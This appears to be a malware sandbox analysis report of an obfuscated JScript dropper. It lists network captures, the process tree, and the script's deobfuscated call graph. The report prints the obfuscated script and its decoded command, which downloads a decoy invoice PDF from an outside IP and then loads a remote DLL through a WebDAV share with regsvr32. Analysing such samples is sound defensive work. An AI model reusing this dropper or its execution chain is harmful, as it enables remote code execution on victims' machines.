Jan 11, 2025 02:16:59.856602907 CET	1.1.1.1	192.168.2.5	0x626b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:16:59.856602907 CET	1.1.1.1	192.168.2.5	0x626b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.37	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:16:59.856602907 CET	1.1.1.1	192.168.2.5	0x626b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.22	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:16:59.856602907 CET	1.1.1.1	192.168.2.5	0x626b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.24	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:16:59.856602907 CET	1.1.1.1	192.168.2.5	0x626b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:17:01.456429005 CET	1.1.1.1	192.168.2.5	0xa64b	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:17:15.452477932 CET	1.1.1.1	192.168.2.5	0x8e36	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:17:27.921276093 CET	1.1.1.1	192.168.2.5	0xb57d	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	4268	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:16:46.353372097 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:16:47.210803032 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:16:47 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 02:16:47.210833073 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:16:47.210850954 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 02:16:47.210863113 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 02:16:47.210875988 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 02:16:47.210988045 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 02:16:47.210999966 CET	1236	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 11, 2025 02:16:47.211010933 CET	1236	IN	Data Raw: 73 cf 58 cd a7 83 7c 46 68 e6 87 01 cc db de bc b8 a3 49 d4 7f 16 98 4f 81 f5 be 9a e9 4a ca 37 96 45 5f c4 85 8a 64 fd 2b 18 fe 8e ab dc 69 47 6f b6 f4 50 00 13 aa fc 37 7d 7c ae 72 07 86 c6 31 f4 36 8a a1 27 d9 18 2a 9b 72 07 f3 a1 92 41 bb 12 Data Ascii: sX\|FhIOJ7E_d+iGoP7}\|r16'*rA;WIL}s_,$?i/TDGKx:z:GMX"D?W5XOfhUV#5zK\iKVF?GLS+<]j+t-9,O%{ZSiu5Ut
Jan 11, 2025 02:16:47.211021900 CET	1236	IN	Data Raw: a6 84 86 2f 65 ee 47 02 e4 bf 9a 9f 04 08 5f 5c 3f 63 eb 7f 0c c0 fc 30 80 f9 14 08 83 7b f9 d5 2c bf d3 16 ea a1 f5 3f 6e 51 ff b3 1f 85 16 e9 47 44 d3 55 95 d3 f6 42 77 5a 3f 2a be e8 db 9b af b7 01 6c ce aa bd 04 bb 2b 7f 60 68 1b 43 3f 0e 62 Data Ascii: /eG_\?c0{,?nQGDUBwZ?*l+`hC?bC31t_PC={6H=17`\|d%4,hze?{l1@PB%hZ/[/Im4UQCcrW~&TZ.QcaRU_rWP5[t0Wi+3=^
Jan 11, 2025 02:16:47.211173058 CET	108	IN	Data Raw: 00 00 80 69 f0 c5 12 00 6c 81 bf af fa 33 10 7d 7c 1c 3d 8e d0 9c de 38 7a 68 63 7d 0f cd 1d a8 27 bd 49 02 90 ee 65 a9 84 a6 aa 92 d2 8f ce a0 3f fd f4 d3 8f 3f fe f8 c3 0f 3f fc 33 32 fb fb b3 ff 55 aa 68 1a 14 9d 7d 10 c9 43 e5 1e 6a c8 54 a0 Data Ascii: il3}\|=8zhc}'Ie???32Uh}CjTy^CR
Jan 11, 2025 02:16:47.215780973 CET	1236	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	5960	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:16:48.567699909 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:16:49.527404070 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:16:49 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	20:16:41
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\219751261441155514.js"
Imagebase:	0x7ff6d4dc0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:16:42
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll
Imagebase:	0x7ff62d810000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:16:42
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:16:42
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:16:47
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:16:47
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff62d810000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:16:47
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff78d1b0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:16:48
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:16:48
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:16:48
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1740,i,9688315185573414080,11883463884545519196,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function tstqmhzbp() {	tstqmhzbp() ➔ undefined
1	vocpozcjy = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var nmvue = this[wdnxxszee + nhcxbfkg + gazqp + odkfysv + btefb + oxpknbdro + dtoitw + vakapm] ( this[msvyslwbr + zdmca + jjccix + gazqp + ejcru + wdnxxszee + vakapm][qcxsrymiy + gazqp + btefb + nhcxbfkg + vakapm + btefb + vzngh + xyxlrrvg + ejsmw + btefb + jjccix + vakapm] ( msvyslwbr + zdmca + jjccix + gazqp + ejcru + wdnxxszee + vakapm + fctppdrn + zdmca + nntom + btefb + xgmpo + xgmpo ) [vmrsnesld + btefb + moujx + vmrsnesld + btefb + nhcxbfkg + bhcdpr] ( syppp + lhpqmybi + xtfcjbzn + zqxfnpqbs + suevuqik + qcxsrymiy + qznblbl + vmrsnesld + vmrsnesld + xtfcjbzn + pmoxauh + kxslilm + suevuqik + qznblbl + zdmca + xtfcjbzn + vmrsnesld + wluzm + qcxsrymiy + gnukl + dtoitw + vakapm + gazqp + gnukl + xgmpo + iovfng + fyxherc + nhcxbfkg + dtoitw + btefb + xgmpo + wluzm + oxpknbdro + dtoitw + vakapm + btefb + gazqp + dtoitw + nhcxbfkg + vakapm + ejcru + gnukl + dtoitw + nhcxbfkg + xgmpo + wluzm + aluksgoya + gnukl + jjccix + nhcxbfkg + xgmpo + btefb ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( rahdoh = 0 ; rahdoh < vocpozcjy[xgmpo + btefb + dtoitw + moujx + vakapm + nntom] ; ++ rahdoh )
4	{
5	if ( nmvue == vocpozcjy[rahdoh] )
6	{
7	nmvue = true;
8	break ;
9	}
10	}
11	if ( nmvue !== true )
12	this[msvyslwbr + zdmca + jjccix + gazqp + ejcru + wdnxxszee + vakapm][yyuiqiw + dkjnzfgpt + ejcru + vakapm] ( );
13	this[msvyslwbr + zdmca + jjccix + gazqp + ejcru + wdnxxszee + vakapm][qcxsrymiy + gazqp + btefb + nhcxbfkg + vakapm + btefb + vzngh + xyxlrrvg + ejsmw + btefb + jjccix + vakapm] ( msvyslwbr + zdmca + jjccix + gazqp + ejcru + wdnxxszee + vakapm + fctppdrn + zdmca + nntom + btefb + xgmpo + xgmpo ) [gazqp + dkjnzfgpt + dtoitw] ( jjccix + okijrkc + bhcdpr + iovfng + lzwnj + jjccix + iovfng + wdnxxszee + gnukl + lehbenv + btefb + gazqp + odkfysv + nntom + btefb + xgmpo + xgmpo + fctppdrn + btefb + gtnczcq + btefb + iovfng + ruwptwd + qcxsrymiy + gnukl + okijrkc + okijrkc + nhcxbfkg + dtoitw + bhcdpr + iovfng + uocsavc + oxpknbdro + dtoitw + vedskrrtw + gnukl + kvlqdksm + btefb + ruwptwd + msvyslwbr + btefb + xyxlrrvg + vmrsnesld + btefb + pqkzkoibv + dkjnzfgpt + btefb + odkfysv + vakapm + iovfng + ruwptwd + vzngh + dkjnzfgpt + vakapm + qojmkap + ejcru + xgmpo + btefb + iovfng + fskoxyh + vakapm + btefb + okijrkc + wdnxxszee + fskoxyh + wluzm + ejcru + dtoitw + vedskrrtw + gnukl + ejcru + jjccix + btefb + fctppdrn + wdnxxszee + bhcdpr + dklph + iovfng + nntom + vakapm + vakapm + wdnxxszee + hlcrejwj + lzwnj + lzwnj + prwozwnft + qeekp + zovqzwr + fctppdrn + prwozwnft + yqldjxzik + zovqzwr + fctppdrn + prwozwnft + fctppdrn + thynwbyco + ezdyoswob + lkmwbdiw + lzwnj + ejcru + dtoitw + vedskrrtw + gnukl + ejcru + jjccix + btefb + fctppdrn + wdnxxszee + nntom + wdnxxszee + uocsavc + dgafch + dgafch + odkfysv + vakapm + nhcxbfkg + gazqp + vakapm + iovfng + fskoxyh + vakapm + btefb + okijrkc + wdnxxszee + fskoxyh + wluzm + ejcru + dtoitw + vedskrrtw + gnukl + ejcru + jjccix + btefb + fctppdrn + wdnxxszee + bhcdpr + dklph + dgafch + dgafch + jjccix + okijrkc + bhcdpr + iovfng + lzwnj + jjccix + iovfng + dtoitw + btefb + vakapm + iovfng + dkjnzfgpt + odkfysv + btefb + iovfng + wluzm + wluzm + prwozwnft + qeekp + zovqzwr + fctppdrn + prwozwnft + yqldjxzik + zovqzwr + fctppdrn + prwozwnft + fctppdrn + thynwbyco + ezdyoswob + lkmwbdiw + pogayin + zzdjrp + zzdjrp + zzdjrp + zzdjrp + wluzm + bhcdpr + nhcxbfkg + vedskrrtw + lehbenv + lehbenv + lehbenv + gazqp + gnukl + gnukl + vakapm + wluzm + dgafch + dgafch + jjccix + okijrkc + bhcdpr + iovfng + lzwnj + jjccix + iovfng + gazqp + btefb + moujx + odkfysv + vedskrrtw + gazqp + zovqzwr + thynwbyco + iovfng + lzwnj + odkfysv + iovfng + wluzm + wluzm + prwozwnft + qeekp + zovqzwr + fctppdrn + prwozwnft + yqldjxzik + zovqzwr + fctppdrn + prwozwnft + fctppdrn + thynwbyco + ezdyoswob + lkmwbdiw + pogayin + zzdjrp + zzdjrp + zzdjrp + zzdjrp + wluzm + bhcdpr + nhcxbfkg + vedskrrtw + lehbenv + lehbenv + lehbenv + gazqp + gnukl + gnukl + vakapm + wluzm + prwozwnft + prwozwnft + zzdjrp + qeekp + dmbqmc + prwozwnft + lkmwbdiw + thynwbyco + bmhhel + thynwbyco + prwozwnft + yqldjxzik + ezdyoswob + yqldjxzik + bmhhel + fctppdrn + bhcdpr + xgmpo + xgmpo, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll",0,false) ➔ 0
14	}
15	zdmca = "C";
16	zdmca = "Z";
17	zdmca = "v";
18	zdmca = "j";
19	zdmca = "H";
20	zdmca = "U";
21	zdmca = "h";
22	zdmca = "C";
23	zdmca = "w";
24	zdmca = "l";
25	zdmca = "y";
26	zdmca = "p";
27	zdmca = "S";
28	gnukl = "K";
29	gnukl = "i";
30	gnukl = "I";
31	gnukl = "X";
32	gnukl = "b";
33	gnukl = "D";
34	gnukl = "z";
35	gnukl = "i";
36	gnukl = "j";
37	gnukl = "u";
38	gnukl = "n";
39	gnukl = "G";
40	gnukl = "i";
41	gnukl = "b";
42	gnukl = "N";
43	gnukl = "E";
44	gnukl = "I";
45	gnukl = "W";
46	gnukl = "a";
47	gnukl = "A";
48	gnukl = "Z";
49	gnukl = "e";
50	gnukl = "f";
51	gnukl = "V";
52	gnukl = "K";
53	gnukl = "l";
54	gnukl = "t";
55	gnukl = "p";
56	gnukl = "U";
57	gnukl = "H";
58	gnukl = "S";
59	gnukl = "K";
60	gnukl = "O";
61	gnukl = "I";
62	gnukl = "O";
63	gnukl = "g";
64	gnukl = "b";
65	gnukl = "V";
66	gnukl = "F";
67	gnukl = "a";
68	gnukl = "A";
69	gnukl = "M";
70	gnukl = "w";
71	gnukl = "o";
72	xtfcjbzn = "Q";
73	xtfcjbzn = "z";
74	xtfcjbzn = "N";
75	xtfcjbzn = "l";
76	xtfcjbzn = "b";
77	xtfcjbzn = "f";
78	xtfcjbzn = "F";
79	xtfcjbzn = "e";
80	xtfcjbzn = "N";
81	xtfcjbzn = "g";
82	xtfcjbzn = "f";
83	xtfcjbzn = "s";
84	xtfcjbzn = "X";
85	xtfcjbzn = "t";
86	xtfcjbzn = "N";
87	xtfcjbzn = "s";
88	xtfcjbzn = "m";
89	xtfcjbzn = "R";
90	xtfcjbzn = "b";
91	xtfcjbzn = "t";
92	xtfcjbzn = "z";
93	xtfcjbzn = "z";
94	xtfcjbzn = "q";
95	xtfcjbzn = "S";
96	xtfcjbzn = "E";
97	suevuqik = "S";
98	suevuqik = "c";
99	suevuqik = "z";
100	suevuqik = "m";
101	suevuqik = "e";
102	suevuqik = "c";
103	suevuqik = "i";
104	suevuqik = "t";
105	suevuqik = "L";
106	suevuqik = "P";
107	suevuqik = "S";
108	suevuqik = "O";
109	suevuqik = "e";
110	suevuqik = "b";
111	suevuqik = "d";
112	suevuqik = "e";
113	suevuqik = "Y";
114	suevuqik = "P";
115	suevuqik = "T";
116	suevuqik = "u";
117	suevuqik = "b";
118	suevuqik = "D";
119	suevuqik = "N";
120	suevuqik = "d";
121	suevuqik = "W";
122	suevuqik = "r";
123	suevuqik = "U";
124	suevuqik = "R";
125	suevuqik = "C";
126	suevuqik = "A";
127	suevuqik = "y";
128	suevuqik = "h";
129	suevuqik = "Z";
130	suevuqik = "_";
131	odkfysv = "y";
132	odkfysv = "q";
133	odkfysv = "U";
134	odkfysv = "R";
135	odkfysv = "u";
136	odkfysv = "U";
137	odkfysv = "U";
138	odkfysv = "v";
139	odkfysv = "I";
140	odkfysv = "s";
141	odkfysv = "a";
142	odkfysv = "Y";
143	odkfysv = "w";
144	odkfysv = "k";
145	odkfysv = "r";
146	odkfysv = "u";
147	odkfysv = "a";
148	odkfysv = "M";
149	odkfysv = "d";
150	odkfysv = "e";
151	odkfysv = "m";
152	odkfysv = "r";
153	odkfysv = "F";
154	odkfysv = "u";
155	odkfysv = "K";
156	odkfysv = "R";
157	odkfysv = "I";
158	odkfysv = "o";
159	odkfysv = "j";
160	odkfysv = "J";
161	odkfysv = "O";
162	odkfysv = "h";
163	odkfysv = "O";
164	odkfysv = "I";
165	odkfysv = "G";
166	odkfysv = "U";
167	odkfysv = "K";
168	odkfysv = "W";
169	odkfysv = "F";
170	odkfysv = "I";
171	odkfysv = "t";
172	odkfysv = "s";
173	ezdyoswob = "k";
174	ezdyoswob = "N";
175	ezdyoswob = "D";
176	ezdyoswob = "r";
177	ezdyoswob = "Q";
178	ezdyoswob = "O";
179	ezdyoswob = "B";
180	ezdyoswob = "K";
181	ezdyoswob = "S";
182	ezdyoswob = "S";
183	ezdyoswob = "Y";
184	ezdyoswob = "g";
185	ezdyoswob = "g";
186	ezdyoswob = "C";
187	ezdyoswob = "o";
188	ezdyoswob = "L";
189	ezdyoswob = "h";
190	ezdyoswob = "O";
191	ezdyoswob = "d";
192	ezdyoswob = "E";
193	ezdyoswob = "t";
194	ezdyoswob = "S";
195	ezdyoswob = "w";
196	ezdyoswob = "0";
197	oxpknbdro = "T";
198	oxpknbdro = "G";
199	oxpknbdro = "L";
200	oxpknbdro = "N";
201	oxpknbdro = "S";
202	oxpknbdro = "a";
203	oxpknbdro = "o";
204	oxpknbdro = "v";
205	oxpknbdro = "x";
206	oxpknbdro = "F";
207	oxpknbdro = "E";
208	oxpknbdro = "m";
209	oxpknbdro = "P";
210	oxpknbdro = "S";
211	oxpknbdro = "o";
212	oxpknbdro = "E";
213	oxpknbdro = "I";
214	zzdjrp = "k";
215	zzdjrp = "A";
216	zzdjrp = "B";
217	zzdjrp = "K";
218	zzdjrp = "Q";
219	zzdjrp = "o";
220	zzdjrp = "f";
221	zzdjrp = "m";
222	zzdjrp = "E";
223	zzdjrp = "8";
224	pqkzkoibv = "O";
225	pqkzkoibv = "a";
226	pqkzkoibv = "x";
227	pqkzkoibv = "O";
228	pqkzkoibv = "f";
229	pqkzkoibv = "R";
230	pqkzkoibv = "I";
231	pqkzkoibv = "L";
232	pqkzkoibv = "D";
233	pqkzkoibv = "s";
234	pqkzkoibv = "l";
235	pqkzkoibv = "Z";
236	pqkzkoibv = "f";
237	pqkzkoibv = "M";
